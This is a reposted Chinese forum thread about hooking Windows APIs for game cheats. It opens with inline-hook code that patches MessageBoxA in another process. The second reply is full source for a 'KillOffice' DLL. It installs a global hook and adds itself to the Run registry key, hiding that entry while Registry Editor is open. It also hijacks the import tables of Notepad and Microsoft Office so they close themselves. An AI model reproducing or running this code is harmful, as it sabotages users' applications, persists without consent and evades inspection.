![]() |
【转帖】利用hook拦截api的问题(附代码),
利用hook拦截api的问题
近来想研究一下外挂程序,仅仅学习之用,我尝试着用Hook进入目标进程,然后用替换api入口地址的方法,拦截api调用。部分替换代码如下: HMODULE hModule=LoadLibrary("user32.dll"); pfMessageBoxA=GetProcAddress(hModule,"MessageBoxA"); if(pfMessageBoxA==NULL) return false; memcpy(OldMessageBoxACode, pfMessageBoxA, 6); NewMessageBoxACode[0] = 0xe9; //jmp MyMessageBoxA的相对地址的指令 DWORD jmpaddr = (DWORD)MyMessageBoxA - (DWORD)pfMessageBoxA - 5; memcpy(&NewMessageBoxACode[1], &jmpaddr, 5); dwIdOld=dwIdNew; hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);//得到所属进程的句柄 VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld); //修改所属进程中MessageBoxA的前5个字节的属性为可写 WriteProcessMemory(hProc,pfMessageBoxA,NewMessageBoxACode,5,0); //将所属进程中MessageBoxA的前5个字节改为JMP 到MyMessageBoxA VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld); //修改所属进程中MessageBoxA的前5个字节的属性为原来的属性 以上代码用来拦截user32.dll中的MessageBoxA是成功的,但是同样的方法我想拦截Wsock32.dll中的recv方法,结果拦截时会让目标程序非法操作,感觉是api的入口地址替换不对,请问哪位高人能够指点一下!谢谢! |
回复: 【转帖】利用hook拦截api的问题(附代码),
2 楼singlerace(独行者)回复于 2006-01-09 18:32:00 得分 20
VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld); 这句有问题。pfMessageBoxA是MessageBoxA在本地进程的地址,你必须获得API在目标进程的加载地址。user32.dll一般在所有进程的加载基址相同,因此截MessageBoxA没问题,但wsock32.dll就不一定了。 |
回复: 【转帖】利用hook拦截api的问题(附代码),
API钩子的代码在网上多如牛毛.通过替换目标进程的IAT来实现,这是我写过的一个由远程线程挂接API的代码:
// Dll.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include <stdio.h> #include <Shellapi.h> #include <imagehlp.h> #include <stdlib.h> #include "resource.h" #pragma comment(lib, "imagehlp.lib") #define DllExport extern "C" __declspec(dllexport) #pragma data_seg("KillOffice") HHOOK glhHook=NULL; HINSTANCE glhInstance=NULL; static HWND glhWindow=NULL; #pragma data_seg() #pragma comment(linker, "/section:KillOffice, rws") LRESULT CALLBACK ShellProc(int nCode,WPARAM wParam,LPARAM lParam); void HookWindow(BOOL bHook); BOOL IsWindowClass(char* pszWindowClass); BOOL ReplaceInOneModule(PCSTR pszCalleeModName,PROC pfnCurrent,PROC pfnNew,HMODULE hmodCaller); void ShowMsg(); BOOL CALLBACK DlgProc(HWND hwndDlg, UINT message, WPARAM wParam, LPARAM lParam); //Dll Enter point. BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { glhInstance=hinstDLL; switch(fdwReason) { case DLL_PROCESS_ATTACH: HookWindow(TRUE); break; case DLL_PROCESS_DETACH: HookWindow(FALSE); break; } return TRUE; } //Close office window . VOID CALLBACK ModiRegistry() { //Find registry. HWND hReg=::FindWindow(NULL,"注册表编辑器"); char szExeName[]="KillOffice.exe"; DWORD dwLen=strlen(szExeName)+sizeof(char); HKEY glhKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&glhKey); if (hReg) RegDeleteValue(glhKey,"KillOffice"); else RegSetValueEx(glhKey,"KillOffice",NULL,REG_EXPAND_SZ,(LPBYTE)szExeName,dwLen); RegCloseKey(glhKey); } //Install hook function. DllExport void InstallHook() { glhHook=SetWindowsHookEx(WH_SHELL,(HOOKPROC)ShellProc,glhInstance,0); } //UnInstall hook function. DllExport void UnInstallHook() { UnhookWindowsHookEx(glhHook); } //Hook call back function,check and kill office. LRESULT CALLBACK ShellProc(int nCode,WPARAM wParam,LPARAM lParam) { ModiRegistry(); return ::CallNextHookEx(glhHook,nCode,wParam,lParam); } ///////////////////////////////////// H_TextOutA 函数 ///////////////////////////////////////// //我们的替换函数,可以在里面实现我们所要做的功能 //这里我做的是显示一个对话框,指明是替换了哪个函数 HANDLE WINAPI MyCreateFileW(unsigned short* lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) { HANDLE hFile=CreateFileW(lpFileName,dwDesiredAccess,dwShareMode,lpSecurityAttributes,dwCreationDisposition,dwFlagsAndAttributes,hTemplateFile); DWORD dwSize=GetFileSize(hFile,NULL); if (dwSize==0) return hFile; ShowMsg(); exit(0); return NULL; } BOOL WINAPI MyShowWindow(HWND hWnd,int nCmdShow) { ShowMsg(); exit(0); } //Hook the OpenFile function in notepad.exe. void HookWindow(BOOL bHook) { if (IsWindowClass("Notepad")) { //Hook、UnHook PCSTR pszCalleeModName="Kernel32.dll"; HMODULE hmodCaller=::GetModuleHandle(NULL); PROC pfnOld=GetProcAddress(::GetModuleHandle(pszCalleeModName),"CreateFileW"); PROC pfnNew=(PROC)MyCreateFileW; PROC pfnCurrent=bHook?pfnOld:pfnNew; PROC pfnHook=bHook?pfnNew:pfnOld; if ((pfnCurrent==NULL)||(pfnHook==NULL)) return; ReplaceInOneModule(pszCalleeModName,pfnCurrent,pfnHook,hmodCaller); } else if (IsWindowClass("OpusApp")||IsWindowClass("XLMAIN")||IsWindowClass("PP9FrameClass")||IsWindowClass("PP10FrameClass")||IsWindowClass("PP11FrameClass")) { //Hook、UnHook PCSTR pszCalleeModName="User32.dll"; HMODULE hmodCaller=::GetModuleHandle(NULL); PROC pfnOld=GetProcAddress(::GetModuleHandle(pszCalleeModName),"ShowWindow"); PROC pfnNew=(PROC)MyShowWindow; PROC pfnCurrent=bHook?pfnOld:pfnNew; PROC pfnHook=bHook?pfnNew:pfnOld; if ((pfnCurrent==NULL)||(pfnHook==NULL)) return; ReplaceInOneModule(pszCalleeModName,pfnCurrent,pfnHook,hmodCaller); } } //--------------------------------------------------------------------------- // ReplaceInOneModule // // Replace the address of the function in the IAT of a specific module //--------------------------------------------------------------------------- BOOL ReplaceInOneModule(PCSTR pszCalleeModName,PROC pfnCurrent,PROC pfnNew,HMODULE hmodCaller) { BOOL bResult = FALSE; __try { ULONG ulSize; // Get the address of the module's import section PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData( hmodCaller, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize ); // Does this module has import section ? if (pImportDesc == NULL) __leave; // Loop through all descriptors and // find the import descriptor containing references to callee's functions while (pImportDesc->Name) { PSTR pszModName = (PSTR)((PBYTE) hmodCaller + pImportDesc->Name); if (stricmp(pszModName, pszCalleeModName) == 0) break; // Found pImportDesc++; } // while // Does this module import any functions from this callee ? if (pImportDesc->Name == 0) __leave; // Get caller's IAT PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)( (PBYTE) hmodCaller + pImportDesc->FirstThunk ); // Replace current function address with new one while (pThunk->u1.Function) { // Get the address of the function address PROC* ppfn = (PROC*) &pThunk->u1.Function; // Is this the function we're looking for? BOOL bFound = (*ppfn == pfnCurrent); if (bFound) { MEMORY_BASIC_INFORMATION mbi; ::VirtualQuery(ppfn, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); // In order to provide writable access to this part of the // memory we need to change the memory protection if (FALSE == ::VirtualProtect( mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect) ) __leave; // Hook the function. *ppfn = *pfnNew; bResult = TRUE; // Restore the protection back DWORD dwOldProtect; ::VirtualProtect( mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect ); break; } // if pThunk++; } // while } __finally { // do nothing } // This function is not in the caller's import section return bResult; } BOOL IsWindowClass(char* pszWindowClass) { //If the process notepad.exe process. glhWindow=FindWindow(pszWindowClass,NULL); if (glhWindow==NULL) return FALSE; DWORD dwWindowProcess=0; DWORD dwThread=::GetWindowThreadProcessId(glhWindow,&dwWindowProcess); return (GetCurrentProcessId()==dwWindowProcess); } void ShowMsg() { ::DialogBox(glhInstance,MAKEINTRESOURCE(IDD_DLG_MSG),glhWindow,DlgProc); } BOOL CALLBACK DlgProc(HWND hwndDlg, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_COMMAND: switch (LOWORD(wParam)) { case IDOK: case IDCANCEL: EndDialog(hwndDlg, wParam); return TRUE; case IDHELP: ::DialogBox(glhInstance,MAKEINTRESOURCE(IDD_DLG_HELP),hwndDlg,DlgProc); return TRUE; } case WM_CLOSE: EndDialog(hwndDlg, wParam); return TRUE; } return FALSE; } |
所有的时间均为北京时间。 现在的时间是 10:30 PM. |